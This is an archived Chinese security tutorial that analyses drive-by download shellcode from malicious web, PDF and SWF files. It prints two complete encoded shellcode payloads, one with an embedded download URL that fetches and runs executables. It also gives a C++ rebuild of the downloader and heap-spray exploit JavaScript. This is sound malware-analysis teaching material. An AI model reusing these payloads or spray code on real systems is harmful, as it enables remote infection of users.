# IE安全系列：脚本先锋（IV）—网马中的Shellcode

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-06-08T02:03:00Z
Canonical: https://wepostx.com/topics/845

> 乌云历史资料归档
>
> **原始作者：** blast
> **原始编号：** superkieran-wooyundrops:590
> **原始发布时间：** 2015-06-08 10:03
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

脚本先锋系列第四章，也是最后一章。将介绍对Shellcode的调试，以及SWF、PDF漏洞的利用文件的简单处理过程。
下一部分预告：
IE安全系列：中流砥柱（I） — JScript 5 解释器处理基本类型、函数等的简单介绍
IE中使用的Javascript解析器经历了多年的磨练，终于在版本5处分成了两个大版本，5之后的9，二者的关联和对一些内容的处理方式的不同之处，这两篇中，第一篇将对Jscript 5.8引擎中的字处理、函数调用等做简单的介绍。
IE安全系列：中流砥柱（II） — JScript 9（Charka）编译后字节码的简单介绍
多年磨练之后，Jscript 9的性能得到了很大的提升，9和5处理起一些基本类型数据的区别会在这篇简要叙述，这篇会有和（I）类似的介绍，只不过是针对Charka的脚本流程的。 （这个成语，我想大概也能这么用吧……）

# VI.1 调试Shellcode

上一篇（V.2）中，我们留下了一个全篇使用XOR 0xE2加密的Shellcode，这篇中，我们将使用调试工具解密它。
escape 之后的SHELLCODE如下：

```text
#!javascript %u0C0C%u6090%u1CEB%u4B5B%uC933%uB966%u03F8%u3B81%u0BFF%uE160%u850F%u0254%u0000%u3480%uE20B%uFAE2%u05EB%uDFE8%uFFFF%u0BFF%uE160%uE2E2%u86BD%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u8815%uBBED%uC00A%uE2E1%u72E2%u1A00%uD18A%uE2D0%u8AE2%u91B7%u9087%u69B6%uEEA4%u720A%uE2E0%u69E2%u880A%uBBE3%uE00A%uE2E1%u00E2%u8A1B%u8C8D%uE2E2%u978A%u8E90%uB68F%uF41D%u2267%uF197%u8D8A%uE28C%u8AE2%u9097%u8F8E%u69B6%uEEA4%u820A%uE2E0%u69E2%u880A%uBBE3%u300A%uE2E0%u00E2%u8A1B%uD18E%uE2D0%u918A%u878A%uB68E%uA469%u0AEE%uE0A3%uE2E2%u0A69%uE388%u0ABB%uE051%uE2E2%u1B00%u0E63%uE3E2%uE2E2%u3E69%u2163%uE262%uE2E2%uE288%uF888%u88B1%u1DE2%uA6B4%u22D1%u62A2%uE1DE%u97E2%u6B1B%u7264%uE2E2%u25E2%uE1E6%u83BE%u87CC%uA625%uE6E1%u879A%uE2E2%u2BD1%uB3B3%uB5B1%uD1B3%u6922%uA2A4%u0C0A%uE2E3%u61E2%uE21A%u67ED%uE37E%uE2E2%uE288%uE288%uE188%uE288%uE088%uE28A%uE2E2%uB122%uA469%u0AC6%uE32F%uE2E2%u1A61%uED1D%u9966%uE2E3%u6BE2%u82A4%uE288%u1DB2%uCAB4%uA46B%u6986%u7264%uE2E2%u25E2%uE1E6%u80BE%u87CC%uA625%uE6E1%u879A%uE2E2%uE288%uE288%uE088%uE288%uE288%uE28A%uE2E2%uB1A2%uA469%u0AC6%uE369%uE2E2%u1A61%uED1D%uDB66%uE2E3%u6BE2%u6664%uE2E2%u6BE2%u6E7C%uE2E2%u69E2%u82A4%uE288%uE288%uE288%uA469%uB282%uB41D%u25DA%u92A4%uE2E2%uE2E2%uA425%uE296%uE2E2%u63E2%uE225%uE2E0%uD1E2%u6939%u86BC%uE288%uA46F%uB292%uE28A%uE2E6%uB5E2%u941D%u1D82%uE6B4%u2BD1%uE25B%uE2E6%u62E2%uED9E%u771D%uEE96%u9E62%u1DED%u96E2%u62E7%uED96%u771D%u0900%u2169%uE2CF%uE2E6%u61E2%uE21A%uE19D%uBC6B%u8892%u6FE2%u96A4%u1DB2%u9294%u1DB5%u6654%uE2E2%u1DE2%uD2B4%u0963%uE6E2%uE2E2%u1961%u9DE2%u1D47%u8294%uB41D%u1DD6%u6654%uE2E2%u1DE2%uD6B4%u6469%uE272%uE2E2%u7C69%uE26E%uE2E2%uE625%uBEE1%uCC83%uB187%uB41D%u69CE%u6E5C%uE2E2%u69E2%u7264%uE2E2%u25E2%uE5E6%u80BE%u87CC%u0E63%uE3E2%uE2E2%u3E69%uE28A%uE2E3%uB1E2%uE28A%uE2E3%uB5E2%uE288%uE288%uB41D%u69FE%uD119%uD122%u6339%uE20E%uE2E0%u69E2%u612E%uB61A%uEA9F%uFE6B%u61E3%uE622%u1109%u2E69%u3B69%u2161%uD1F2%uB222%uB1B3%uB2B2%uB2B2%uB2B2%uB2B5%u69B2%uEAA4%u650A%uE2E2%u63E2%uFA26%uE2E6%u83E2%uA425%uE1F6%uE2E2%uD1E2%u692B%uC6DE%u0D61%u6194%uEA26%u2BD1%u051D%uE288%uB41D%u86F6%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u6B15%u86B4%uE688%u0ABB%uE241%uE2E2%u0072%u8A1A%uD0D1%uE2E2%uB78A%u8791%uB690%uE469%uF00A%uE2E2%u69E2%u880A%uBBE7%u660A%uE2E2%u00E2%uD11B%uB51D%uB41D%u62E6%u0ADA%uDA62%u970B%u63F3%uE79A%u7272%u7272%uEA96%u1D69%u69B7%u6F0E%uE7A2%u021D%uDA0A%uE2E2%u21E2%uDA62%u620A%u0BDA%uF397%u9A63%u72E7%u7272%u9672%u8A05%uE8EA%uE2E2%uA26F%u1DE7%u0A02%uE2F5%uE2E2%u0A21%uE2F3%uE2E2%uF35A%uE6E3%u2062%uE2EE%uE009%u21BA%u1B0A%u1D1D%uB91D%uE524%u6B5A%uE3BD%u2584%uE7A5%u021D%uB121%u3E69%u88B1%u8AA2%uF2E2%uE2E2%u69B5%uC2A4%u640A%u1D1D%uBA1D%uB321%u69B4%uDE97%u9669%u9ACC%u17E1%u69B4%uC294%u17E1%u2BD1%uA3AB%uE14F%uD127%uED39%uF25C%u34D8%uEA96%u2923%uE1E5%uA238%u1309%uFDD9%u0597%u69BC%uC6BC%u3FE1%u6984%uA9EE%uBC69%uE1FE%u693F%u69E6%u27E1%uBC49%u21BB%u9B0A%u1D1E%u501D%u0010%u5016%uEDD4%u12F1%u99AA%uD0DF%u7396%u67EE%u4D3D%u8159%u336B%uB3AD%u58A2%uE59D%uC070%uFC92%u8646%u710D%u06D0%u6C76%uE8F1%u9B4E%u04DB%u267A%uFD6F%uB596%uEF84%uA11D%u4E5C%u7A39%uF2E8%u621A%u4D34%u1978%uF7B1%u8A84%u9696%uD892%uCDCD%u8083%uCC8C%u8C86%uD291%uD7D5%uCCD7%u878C%uCD96%uCD86%u8686%uCC86%u9A87%uE287%uE2E2
```
将这些Shellcode放到EXE根部，组成一个EXE，见参考资料(1]附件。

![原文图片](/media/2016/06/4d18e043acf2a4e220aa2c72462ed74f)

警告 如果你直接解压这个程序，你的杀毒软件可能会报警。这是因为该Shellcode已经被多个杀毒软件作为特征入库。请在虚拟环境执行，或者暂时关闭杀毒软件。

![原文图片](/media/2016/06/c6df67e4162ad52b0102cc94f7775038)

![原文图片](/media/2016/06/bb369605d1237ac1b906f76517fa0d38)

CALL 405006调用时，会将其下一条指令的地址压栈，因此00405006处的POP EBX其实获取到的就是下一条指令的地址。
之后ECX = 0x3F8的语句其实就是为了告诉下面的LOOP指令要循环多少（0x3f8）次，这也是加密后的字符串长度。

![原文图片](/media/2016/06/cb208ed8c91d00b8556329da3795acc6)

然后，下一句意义其实不大，只是为了确保要解密的内容对不对，

![原文图片](/media/2016/06/b9e197cc7ae004ed2ae5ef5e7778d6cc)

紧接着是一个JNZ指令，可以看到OllyDbg之前发生了解析错误。OD解析为了DB、TEST、DB三条不伦不类的数据+指令的结合，对比IDA的结果可以知道这里是一个JNZ，实际上跟着CMP，这里十有八九也是跳转指令。

![原文图片](/media/2016/06/36c1172afa83ca6100327b81911d8074)

选中三行，右键选择analysis - remove analysis from selection，这时就可以恢复正常的语句。

![原文图片](/media/2016/06/f5ea76a9b2964866ea07d069390b5ebb)

接下来的XOR+LOOP则就是经典的“加密/解密”，一大牛也戏称中国三大加密算法之一的异或解密。解密密钥很明显就是0xe2了。
在LOOP下一行下断点，可以得到解密后的内容，此时OD还是解析有误，我们手动选择0x5033-0x3f8左右的内容，重复remove analysis的过程即可得到基本正确的代码：

![原文图片](/media/2016/06/905bf31773971cb0e5b912761c5150cf)

处理后：

![原文图片](/media/2016/06/48b96ed57d2a4e7881361131ab992db9)

4053AE处仍然是一个CALL，会回到40502C处，上图中JMP的下一行。为什么这么做大家应该很容易理解，和之前一样，4053AE之后的一句很可能就是常量值了，而且40502C处也有POP EDI的语句。

![原文图片](/media/2016/06/ead8cbbe7c3a5c37f418a61a5b3e095e)

由于之前我们remove analysis比较多，导致了后面的常量也被当作了代码，这个很容易就能发现，因为里面出现了大量的不明所以的代码：

![原文图片](/media/2016/06/d8bffd545791e29c4780f04e35a99df0)

右键中选择Analysis code即可重新分析这块：

![原文图片](/media/2016/06/d647803900d06f0eb1f03ff48451c796)

我们假装什么都没看见，继续调试这段代码。

![原文图片](/media/2016/06/4235300c22bd5fce490aa4065dd7c940)

30、0c、1c、8，这些令人熟悉的数字（不记得了请看上篇最后），可以肯定的知道这里就是在获取某个函数地址，其实就是LoadLibrary了，这个肯定是各个Shellcode第一个要做的事情，要不然后续如何开展呢:)。
405369的CALL即会获取所需的函数地址。比较字符串可能会用掉较多的空间，所以这里它采用了给函数名取HASH的方式：

![原文图片](/media/2016/06/8657704bca85694af265bda0d982a069)

即伪代码如下：

```text
#!c++ DWORD dwHash; CHAR chFuncName; while(chFuncName = szWindowsAPIName++) { dwHash += chFuncName; _ROR(dwHash, 7); }
```
在函数名这种大概一个模块就几百个的东西里面，这个HASH算法还是可以做到粗略的准确的，

![原文图片](/media/2016/06/f1b87df032519205dc4991fd3b0410c9)

此例中，在这附近就是存着的他们想要拿到的函数的HASH，获取到函数地址之后会覆盖掉对应的Hash，可见空间用的还是比较紧凑的：

![原文图片](/media/2016/06/5cefd0e00736a26fa379c2c31c07c02b)

之后就是简单的函数跟踪了，有兴趣的话可以自己跟踪一下，之后该Shellcode的动作我直接写成C++代码了，供参考，获取函数地址的细节代码我就跳过不写了，不保证可编译，不过如果要编译的话简单修改应该就可以了：

```text
#!c++ HMODULE hModule = LoadLibraryA(“User32”); GetAddressFromModule(hModule, “GetModuleHandleA”); //自己获取函数地址的函数，没用系统的GetProcAddress，估计为了省字符串的长度，这里事实上还是用的Hash，为了方便阅读这么写了 if(GetModuleHandleA(“urlmon”) == NULL) { hModule = LoadLibrary(“urlmon”); } GetAddressFromModule(hModule, “URLDownloadToFileA”); hModule = LoadLibraryA(“shell32”); GetAddressFromModule(hModule, “SHGetSpecialFolderPathA”); CHAR buffer[MAX_PATH]; SHGetSpecialFolderPathA(0, buffer, 0x1a, 0); //APPDATA strcat(buffer + strlen(buffer), “\a.exe”); do { if (URLDownloadToFileA(0, MALICIOUS_URL, buffer, 0, 0) == S_OK) { //这个URL访问不了了，所以必然不是S_OK，执行完以后手动置EAX为0，然后随便拷贝个EXE去%appdata%\a.exe吧，要不然后面调试起来会比较蛋疼 HANDLE hFile = CreateFileA(buffer, 0xc0000000, 2, 0, 3, 0, 0 ); if(hFile != INVALID_HANDLE) { DWORD dwFileSizeLo = GetFileSize(hFile, 0); CHAR buffer_otherone[1024]; buffer[strlen(buffer) - 5] = ‘b’; //实际上操作语句不是这样，不过最后结果一样，简单写好了 HANDLE hFile2 = CreateFileA(buffer, 0x40000000, 0, 0, 2, 0, 0); if(hFile2 == INVALID_HANDLE) break; SetFilePointer(hFile, 0, NULL, FILE_BEGIN); DWORD dwPos = 0; while(dwPos < dwFileSizeLo) { ReadFile(hFile, buffer_otherone, 1024, dwBytesRead, NULL); dwPos += 1024; for(int i=0; i<1024; ++i) { if(buffer_otherone[i] != 0 && buffer_otherone[i] != 0x95) buffer_otherone[i] ^= 0x95; } //事实上木马下载回来的文件是0x95异或过的，只是为了防杀，所以这里为了保证它能正常运行，还需要这一步给它解回来 WriteFile(hFile2, buffer_otherone, 1024, 0, 0); } CloseHandle(hFile); CloseHandle(hFile2); buffer[strlen(buffer) - 5] = ‘a’; //实际上操作语句不是这样，不过最后结果一样，简单写好了 DeleteFileA(buffer); buffer[strlen(buffer) - 5] = ‘b’; WCHAR bufferw[256]; MultiByteToWideChar(buffer, CP_ACP, 0, buffer, 256, bufferw, 256); CreateProcessInternalW(0,0, bufferw, 0, 0, 0, 0); //启动木马 } } }while(0); ExitProcess(0);
```
MALICIOUS_URL就这玩意，不贴上来了，要不白送别人一个友情链接多不好：

![原文图片](/media/2016/06/ca33259d52c2eeceab69ea6f78345827)

# VI.2 Shellcode in PDF

Adobe PDF Reader是一个全球内都广泛使用的工具，而它又可以在IE中实例化，因此，PDF漏洞也是攻击者热衷于挖掘和利用的一个重要部分，而PDF中也允许Javascript的执行，这就更加剧了其安全问题，本节将简单介绍如何提取PDF中的Shellcode。
关于PDF结构的细节不在这里过多介绍，以下是一个PDF的很常见的形式，PDF有明显的“节”（x x obj）和“节”信息（用双尖括号包围），而为了控制PDF的大小，PDF是支持多种压缩方式的，一种方式是zlib算法的压缩，这种方式压缩的节显示如下，可以从FlateDecode来区分出来。
在stream-endstream之间的就是压缩后的内容，还有个特征是这段内容的第一个字是“x”。

![原文图片](/media/2016/06/38cf1a87c9a13305b757bd18ef33839b)

当然，PDF也是支持明文存放的甚至于直接内部执行JS，例如：

![原文图片](/media/2016/06/dbee3c47ccc58c6e790e40b9be8c4938)

16 0 obj - endobj中间的就是js脚本。
针对PDF的解析可以参考我之前放出来的Redoce工具，可以针对性地对压缩过的部分进行解压，例如图中这节压缩内容解压后明显是垃圾信息，因此可以跳过：

![原文图片](/media/2016/06/eb35e36ccba3fc8d2574d5314b2b0ffd)

附件中的例子有恶意代码的部分是明文存放的，因此要对它的代码进行阅读和Shellcode的抽取应该是相当简单的。

![原文图片](/media/2016/06/1efc188077e41e0b81163b3eb944bf2c)

还有一点是PDF中的JS并不是多“标准”，有个明显的特征是它的内容会经过一层编码，例如上图\全部被编码成了\，工具可以做简单清理，如上图所示。
其实清理之后，留下来了很多\”，虽然不会产生语法错误，不过看起来还是很别扭，也可以手动再把这些\都删掉。还有开头的例如(?function ...需要手动删除成(function ...。
清理完的代码见附件malicious_VI.rar 的 pdf.js.txt。
简单地阅读一下代码，虽说一眼就能看出来awn5fmmtY 这个变量就是Shellcode，和、至少是它的绝大部分，但是还是看一看吧：

![原文图片](/media/2016/06/86ae207902dc84253651f2ac1219c142)

一番阅读之后，可以发现这里使用了app[’eval’](xxxx)，正如你所见，不是他替换了什么东西，而是PDF中的eval函数实际上是属于app对象的，而不是window对象。具体可以参照参考资料[2](http://drops.wooyun.org/wp-content/uploads/2015/06/image0033.png)，Adobe的开发资料。

![原文图片](/media/2016/06/d02def9ad6f1f97f67a3d18089720f57)

最终执行的就是这么一段

![原文图片](/media/2016/06/5da9fc97b0823ab42106a7be525c636b)

为了不让图太大，我把字号缩小了，具体可参照附件。
这一段中，采用了awn5fmmtY = unescape(awn5fmmtY.join(""));的方式将这个Array输出成一个字符串。然后就是简单的堆喷过程，

![原文图片](/media/2016/06/2c3d46d3dd5d685990fe58d550dd7cad)

我们手动改一下变量就能看的很清楚了：

```text
#!c++ var fK2iJohU = 0x400000; var mTcRGdIAFp = awn5fmmtY.length * 2; var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38); var sR4ZJ8w7ci = unescape("%u9090%u9090"); sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL); var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU; for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++) { rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY; }
```
改为方便人阅读的代码就是：

```text
#!c++ var arr = new Array(); var blockSize = 0x400000; var shellcodeSize = shellcode.length * 2; var spraySize = blockSize - (shellcodeSize + 0x38); var nops = unescape("%u9090%u9090"); nops = extendStrForXXTimes(nops, spraySize); var sprayTarget = 0x0c0c0c0c; var fillTimes = (sprayTarget - 0x400000) / blockSize; for(var i = 0; i < fillTimes; i++) { arr[i] = nops + shellcode; }
```
如何，上述代码是否非常眼熟？对了，随便找一个堆喷的js代码都是如此。这个PDF实际上是利用了PDF的app.doc.Collab.getIcon()函数的溢出漏洞，该函数没有对文件名长度进行检查，直接拷贝进了缓冲区，是一个经典的溢出漏洞。利用时文件名需要加上特定的表示，例如下图中N.doc，否则无法走入有漏洞的部分。Adobe JavaScript中使用堆喷在当时效果非常稳定：

![原文图片](/media/2016/06/819559035ecb67e4d06777d6d307381c)

具体细节网上有分析过程，在此不提了，Shellcode可以简单看一下。
提取出来的shellcode如下：

```text
#!c++ %u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7500%u6470%u7461%u2e65%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u692f%u6b6e%u616b%u2e6b%u6e63%u652f%u746e%u7265%u752f%u6470%u7461%u2e65%u6870%u3f70%u6469%u333d%u7226%u7465%u6f3d%u006b%u9000
```

![原文图片](/media/2016/06/fcdba019222bbfcea4465d9319a1ec6b)

通过简单处理可以看到就是简单的URLDownloadToFile，由于这里%u0000不会影响流程，所以支持带0的shellcode使得它的体积缩小了很多。简单调试一下吧。将shellcode附着到exe之后（附件malicious2.exe.txt）。
代码十分简单：

![原文图片](/media/2016/06/164a32168dba3b218c372962fae845ff)

首先PUSHAD PUSHFD，然后使用POP EBP，SUB EBP,0D来构造一个栈帧。

![原文图片](/media/2016/06/27fdae97f6a14b2022d49b95cf88794d)

接着又是常见的fs:30、0c、1c、8、34这些常见的值，后面的内容不言自明，我们可以锻炼一下静态阅读，具体动作如下：

![原文图片](/media/2016/06/1adb6cded1691afebc2a82455c8c0cea)

![原文图片](/media/2016/06/38d959bfc5fea9d22b71cbdf22aa50eb)

也即跟着查找GetTempPathA（ebp+15e）等等函数的地址并保存在ebp+14e处。
然后，还是上图，就可以知道0x405053处的call实际上就是call了GetTempPathA，在此获得临时目录位置，接下来

![原文图片](/media/2016/06/3a7a31a832c632a0a4c84fc7fa02502b)

此处LoadLibrary EBP+245处的内容（URLMON.dll），然后并GetProcAddress获取EBP+250处的函数地址（URLDownloadToFileA），并最终调用URLDownloadToFileA，下载的文件是EBP+278处的URL，保存到EBP+15E处（%temp%\update.exe）：

![原文图片](/media/2016/06/85463dd426ee4ad2f63411b92ce4c0a7)

并在此调用EBP+15E的函数（WinExec）执行下载回来的程序：

![原文图片](/media/2016/06/c9a58a9679d2b5e9528e1236a7e3e39f)

然后再次获取Temp目录的地址，重复之前的步骤，只不过下载到的是%temp%\crash.php，并再次调用WinExec执行，POPFD POPAD，退出程序。
这个Shellcode的主要作用就是下载者了，因此到这里也算是完美的完成了任务了。让我们再看看它的亲戚：SWF。

# VI.3 Shellcode in SWF

如上一节所说，SWF凭借着目前网上最为流行的多媒体互动程序Adobe Flash Player，SWF的用户量只会比难兄难弟PDF的大而不会小，而SWF的漏洞高发，导致了SWF也称为了漏洞利用者心目中的明星。针对SWF的反编译，可以依赖于Eltima Software的Flash Decompiler Trillix，或者其他能弄成AS文件的都可以。
单从SWF自身来说，它的压缩模式常见的两种，文件头是CWS的表示使用了压缩，也是zlib算法，FWS的表示没有压缩过。
我的工具中也提供了对SWF的自动解压，由于有些网马会把URL明文存放，所以处理后还是可以方便病毒研究者来抓出URL的，如下图：

![原文图片](/media/2016/06/fca55d07178ff820cef00f0a2413d9b1)

接下来可以阅读SWF的Action Script了，与之相关的书籍可以参考《ActionScript 3.0 Bible》，这是一本介绍十分详细的工具书，或者其他你手头可以让你迅速看懂AS的资料也可。
附件中malicous3.swf.txt是CVE-2015-0313 的利用文件，该漏洞是Flash Player的一个UAF问题，具体细节网上有很多了，这里我们还是针对SWF到AS的过程做一些解释：
使用Flash Decompiler Trillix载入该swf文件。

![原文图片](/media/2016/06/328c5d8d7d762a827117a672f876fcb7)

可以看到AS脚本中有三个类，这个SWF文件抓取自使用AEK ，AEK提供给别人用的东西都是高度混淆的，这里面也不例外，可见各个类的名字就已经被混淆过了。
一个小问题是AEK是漏洞工具包，或者白话点就是卖给别人用来坑其他人的软件，不是漏洞名。国内的一个软件曾经提示了AEK是漏洞，其实是不正确的，具体名字我也就不截图了：

![原文图片](/media/2016/06/06b78c8a1c2bb2e7bd9e4695a1ddb20f)

AS3.0中会使用Worker对象，Worker对象间也可以共享对象[3](http://drops.wooyun.org/wp-content/uploads/2015/06/image0054.png)，漏洞代码通过触发在主执行线程和worker间共享的MessageChannel属性中的漏洞来执行。主要是三步：

- 通过setSharedProperty把一个ByteArray对象设置为共享属性

- 把这个ByteArray设置到domainMemory中

- worker调用getSharedProperty获取这片内存，然后调用ByteArray::Clear清空它。Clear之后，domainMemory并没有将内存置空，从而导致了UAF的存在。
然后，让我们先阅读一下SWF代码：

```text
#!c++ In &.as： private static var 5:&; 5 = new &();
```

![原文图片](/media/2016/06/9a0459646558a0b134caf51f10f978ea)

这里的逻辑是如此连上的，所以“5”可以看作是class “&”的实例。
由于class &::&()中设置了this.4 = "BAPO6SgZH....”; 因此，

![原文图片](/media/2016/06/8d2e7d7b693354657e4a8f3308a319d8)

函数7()中事实上loc1的值就是经过函数’()处理后的this.4后面这一串字符了，
函数’()的定义如下：

![原文图片](/media/2016/06/f091c5de724eea524e8a3e1e2607bc86)

不过这么看实在是太痛苦了，而且由于这个混淆使得Adobe Flash Professional CS5的着色也发生了混乱，因此让我们手动替换一下里面的值。

![原文图片](/media/2016/06/61098261dea5e377f70547a1d0669d62)

首先简单阅读一下’()，知道它是某种解密函数，因此我直接把它换成decode()；
然后针对常量也做类似的简单阅读-替换：

![原文图片](/media/2016/06/c06ee7b3d4c2faccad7648db2e8e057b)

最终得到：

![原文图片](/media/2016/06/cc65b050996c02dba9c88db4d59eeced)

![原文图片](/media/2016/06/cb3c90b76c681cdb72811969842f864b)

这样代码看起来就要方便得多了，不用在想这一堆乱七八糟的代号是什么了。使用检查语法错误功能，检查完毕后就可以执行这段代码让它自己吐处理结果了。

![原文图片](/media/2016/06/0cc352fdea632e8c177eabab752c4023)

新建一个AS工程，把脚本粘进去。

![原文图片](/media/2016/06/249da6f92703247f2a04936e7cd9f2a9)

然后在对应位置加上trace，decode返回的是类BASE64解后的结果，该SWF在这段代码：

```text
#!c++ while (i < myDecodedStr.length) { n = n + 1 & 255; loc6 = (myByteArray[n] & 255) + loc6 & 255; loc10 = myByteArray[n]; myByteArray[n] = myByteArray[loc6]; myByteArray[loc6] = loc10; loc9 = (myByteArray[n] & 255) + (myByteArray[loc6] & 255) & 255; myDecodedStr[i] = myDecodedStr[i] ^ myByteArray[loc9]; ++i; }
```
运行完之后输出的内容就是解密后的了，其实仔细看的话它就是个RC4。

![原文图片](/media/2016/06/54a9a9d401c2a90f957b1ef37e43239f)

Ctrl+Enter后卡了小一阵子，运行得到结果：

![原文图片](/media/2016/06/f3c0567d715128f06e069ed5a41780ea)

结果输出又是一个SWF文件，真是让人头疼的事情，使用FileReference类即可（import flash.net.FileReference;）

![原文图片](/media/2016/06/3f4e6f36353403c670301fdcd94a4f95)

然后保存后的就是解密后的内容。对这个swf再做一个分析，如果Flash Decompiler一分析那个SWF就崩溃的话，这个时候可以换个其他类似工具，例如FFD

![原文图片](/media/2016/06/b54f1e21625d1dcc06ec1260d1e91ed5)

打开后可以看到类名点点杠杠的好不欢乐，AEK的加密已经丧心病狂到把它认为所有有可能威胁到自己的代码全部RC4加密放到了二进制数据中，使用时现场取出解压。
眼睛都看花了，阅读过程太过痛苦，就贴一下具体内容吧，

![原文图片](/media/2016/06/b30d24b648750246c30399ff7b410530)

这里的逻辑是：如果没解密的话解一下（if (!_a_-___-) _a-_—()），然后把index异或处理一下，异或的值就是a—。

![原文图片](/media/2016/06/ed26a969994b23d08c2c012c689a3397)

这个是它的RC4加密的Key，2组密钥，16字节一组。

![原文图片](/media/2016/06/12b028270079ac7ac99bb163dd4cc59d)

![原文图片](/media/2016/06/2d3ebe9220d481858b4de0a56f92aa5d)

![原文图片](/media/2016/06/47ca8e0bca8b7f662125f0bd02ce4c88)

最终此处做ROP并且使用Shellcode，参考资料(5]也是解了类似的SWF文件，其中的RC4解密代码大家可以借鉴一用。

![原文图片](/media/2016/06/86bab26264a465fa86febaa5eadbab14)

解出来的Shellcode使用的代码很简单，和上一节类似，会用WinHTTP的相关函数访问网址并用XXTEA解密：
如果是Shellcode ，直接执行；
如果是DLL，下载并调用regsvr32 /s 来注册（其实也就是启动）它。
Shellcode篇章至此结束，限于篇幅和个人能力，肯定还是有很多覆盖不到的地方，一些实战内容将在后续章节覆盖，同时，参考资料[4](http://drops.wooyun.org/wp-content/uploads/2015/06/image0072.png)中也有大量的Shellcode可供调试。

# 参考资料

(1] [附件](http://drops.wooyun.org/wp-content/uploads/2015/06/malicouscode_vi.rar) 请关闭杀毒软件并在虚拟环境调试，网马的Shellcode比较老，EXE调试环境推荐Windows XP SP3。
(2] http://www.adobe.com/devnet/acrobat/javascript.html
(3] Communicating between workers http://help.adobe.com/en_US/as3/dev/WS2f73111e7a180bd0-5856a8af1390d64d08c-7ffe.html
(4] http://www.expl0it-db.com/
(5] http://www.cnblogs.com/Lamboy/p/4278066.html

## Replies
